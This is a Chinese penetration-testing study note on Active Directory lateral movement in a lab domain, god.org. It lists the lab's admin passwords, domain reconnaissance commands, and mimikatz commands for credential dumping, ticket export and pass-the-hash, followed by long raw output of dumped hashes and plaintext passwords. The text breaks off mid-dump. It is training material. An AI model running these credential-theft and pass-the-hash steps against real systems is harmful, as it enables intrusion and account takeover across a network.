IsecNoob

第66天-内网安全-域横向批量-at&schtasks&impacket

思维导图

环境配置

2008 r2 webserver

域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :

god\webadmin:admin!@#45

2003 x86 fileserver

域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :

god\fileadmin : Admin12345

2008 r2 x64 dc god.org

主域控机器
域管账号密码:

God\administrator : Admin12345

2012 sqlserver

域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :

god\dbadmin:admin!@#45

w7 x64 mary-pc

域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :

god\mary : admin!@#45

w8.1 x64 jack-pc

域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345

演示案例：

横向渗透明文 HASH 传递批量利用-升级版

拿下2008 r2 webserver权限后进行信息收集

信息收集

net user
net start
tasklist
schtasks
at
ipconfig /all     判断存在域-dns
net time /domain  判断主域
netstat -ano      当前网络端口开放
nslookup   		  域名 追踪来源地址

net user

net start

tasklist

schtasks

ipconfig / all

net view /domain

net time /domain

nslookup 计算机名称

netstat -ano

mimikazt搜集收集用户凭证

log
privilege ::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:god.org/ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

log
privilege ::debug

mimikatz # Using 'mimikatz.log' for logfile : OK
mimikatz # privilege::debug
Privilege '20' OK

sekurlsa::logonpasswords

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 521318 (00000000:0007f466)
Session           : Interactive from 1
User Name         : webadmin
Domain            : GOD
Logon Server      : OWA2010CN-GOD
Logon Time        : 2022/5/8 20:39:30
SID               : S-1-5-21-1218902331-2157346161-1782232778-1132
	msv :	
	 [00000003] Primary
	 * Username : webadmin
	 * Domain   : GOD
	 * LM       : e90127c07127ed12f4ebf668acca53e9
	 * NTLM     : 518b98ad4178a53695dc997aa02d455c
	 * SHA1     : 39aa99a9e2a53ffcbe1b9eb411e8176681d01c39
	tspkg :	
	 * Username : webadmin
	 * Domain   : GOD
	 * Password : admin!@#45
	wdigest :	
	 * Username : webadmin
	 * Domain   : GOD
	 * Password : admin!@#45
	kerberos :	
	 * Username : webadmin
	 * Domain   : GOD.ORG
	 * Password : admin!@#45
	ssp :	
	credman :	

Authentication Id : 0 ; 143584 (00000000:000230e0)
Session           : Service from 0
User Name         : MSSQLFDLauncher
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:53
SID               : S-1-5-80-3263513310-3392720605-1798839546-683002060-3227631582
	msv :	
	 [00000003] Primary
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * NTLM     : 450098ea358ba14a9e17e3690b94c0e4
	 * SHA1     : 946f96a330bd558a1af3ee06fb4edf90ed58c909
	tspkg :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	wdigest :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	kerberos :	
	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WEBSERVER$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:21
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * NTLM     : 450098ea358ba14a9e17e3690b94c0e4
	 * SHA1     : 946f96a330bd558a1af3ee06fb4edf90ed58c909
	tspkg :	
	wdigest :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	kerberos :	
	 * Username : webserver$
	 * Domain   : GOD.ORG
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	ssp :	
	credman :	

Authentication Id : 0 ; 47208 (00000000:0000b868)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:21
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * NTLM     : 450098ea358ba14a9e17e3690b94c0e4
	 * SHA1     : 946f96a330bd558a1af3ee06fb4edf90ed58c909
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 794675 (00000000:000c2033)
Session           : Interactive from 2
User Name         : Administrator
Domain            : WEBSERVER
Logon Server      : WEBSERVER
Logon Time        : 2022/5/8 20:47:14
SID               : S-1-5-21-95064677-3481858386-3840636109-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * LM       : e90127c07127ed12f4ebf668acca53e9
	 * NTLM     : 518b98ad4178a53695dc997aa02d455c
	 * SHA1     : 39aa99a9e2a53ffcbe1b9eb411e8176681d01c39
	tspkg :	
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * Password : admin!@#45
	wdigest :	
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * Password : admin!@#45
	kerberos :	
	 * Username : Administrator
	 * Domain   : WEBSERVER
	 * Password : admin!@#45
	ssp :	
	 [00000000]
	 * Username : administrator
	 * Domain   : god.org
	 * Password : Admin12345
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:25
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 103189 (00000000:00019315)
Session           : Service from 0
User Name         : ReportServer
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:24
SID               : S-1-5-80-2885764129-887777008-271615777-1616004480-2722851051
	msv :	
	 [00000003] Primary
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * NTLM     : 450098ea358ba14a9e17e3690b94c0e4
	 * SHA1     : 946f96a330bd558a1af3ee06fb4edf90ed58c909
	tspkg :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	wdigest :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	kerberos :	
	 * Username : WEBSERVER$
	 * Domain   : GOD.ORG
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	ssp :	
	credman :	

Authentication Id : 0 ; 99637 (00000000:00018535)
Session           : Service from 0
User Name         : MSSQLServerOLAPService
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:23
SID               : S-1-5-80-2872255330-672591203-888807865-2791174282-1554802921
	msv :	
	 [00000003] Primary
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * NTLM     : 450098ea358ba14a9e17e3690b94c0e4
	 * SHA1     : 946f96a330bd558a1af3ee06fb4edf90ed58c909
	tspkg :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	wdigest :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	kerberos :	
	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	ssp :	
	credman :	

Authentication Id : 0 ; 98391 (00000000:00018057)
Session           : Service from 0
User Name         : MSSQLSERVER
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:23
SID               : S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
	msv :	
	 [00000003] Primary
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * NTLM     : 450098ea358ba14a9e17e3690b94c0e4
	 * SHA1     : 946f96a330bd558a1af3ee06fb4edf90ed58c909
	tspkg :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	wdigest :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	kerberos :	
	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	ssp :	
	credman :	

Authentication Id : 0 ; 93005 (00000000:00016b4d)
Session           : Service from 0
User Name         : MsDtsServer110
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:22
SID               : S-1-5-80-1770670200-1234090253-3451813168-4041049723-2370973757
	msv :	
	 [00000003] Primary
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * NTLM     : 450098ea358ba14a9e17e3690b94c0e4
	 * SHA1     : 946f96a330bd558a1af3ee06fb4edf90ed58c909
	tspkg :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	wdigest :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	kerberos :	
	 * Username : WEBSERVER$
	 * Domain   : god.org
	 * Password : fd ac 43 12 ff 53 16 69 f8 69 33 47 0f 3b 98 21 2c 7d be 01 f4 19 94 1b 9a 04 e5 f9 3e 01 fe 3d 97 ea f0 09 ab 3e 20 2e da a1 f6 9a 99 87 18 77 a1 fd 5d c9 8a cb c2 f7 75 16 81 34 0e e2 7b a4 76 43 0c 97 77 bc 84 b0 ef f2 21 14 eb 9f 5e 17 03 26 e1 b2 a0 57 a0 33 e7 dc b4 63 16 42 14 fd dc be a5 a6 98 5e d0 16 3a 43 9c 41 e8 08 97 16 1d 4e 95 43 b3 79 6d 60 f4 63 f2 6f af 55 d8 fa fa 69 15 75 57 98 55 62 00 a6 d8 d9 d9 5a 6a 78 89 0b 38 2b e1 85 de bc ba 65 34 10 b9 bc b5 14 0e fb a3 36 2a b7 bf 19 fd e2 49 df b7 6c a5 4b 70 b3 17 20 dc 6e 03 48 29 67 12 e2 8d b4 4a 14 24 a1 10 10 eb 94 36 c2 ef 4e 30 a3 36 b7 c6 c3 b2 75 96 a4 31 8b 5a 34 1d 77 ce cb 23 5d 3d e6 c6 65 c4 a6 f2 9d ab d8 eb c6 3d dd fe 5c d0 09 
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:21
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WEBSERVER$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2022/5/8 20:25:21
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WEBSERVER$
	 * Domain   : GOD
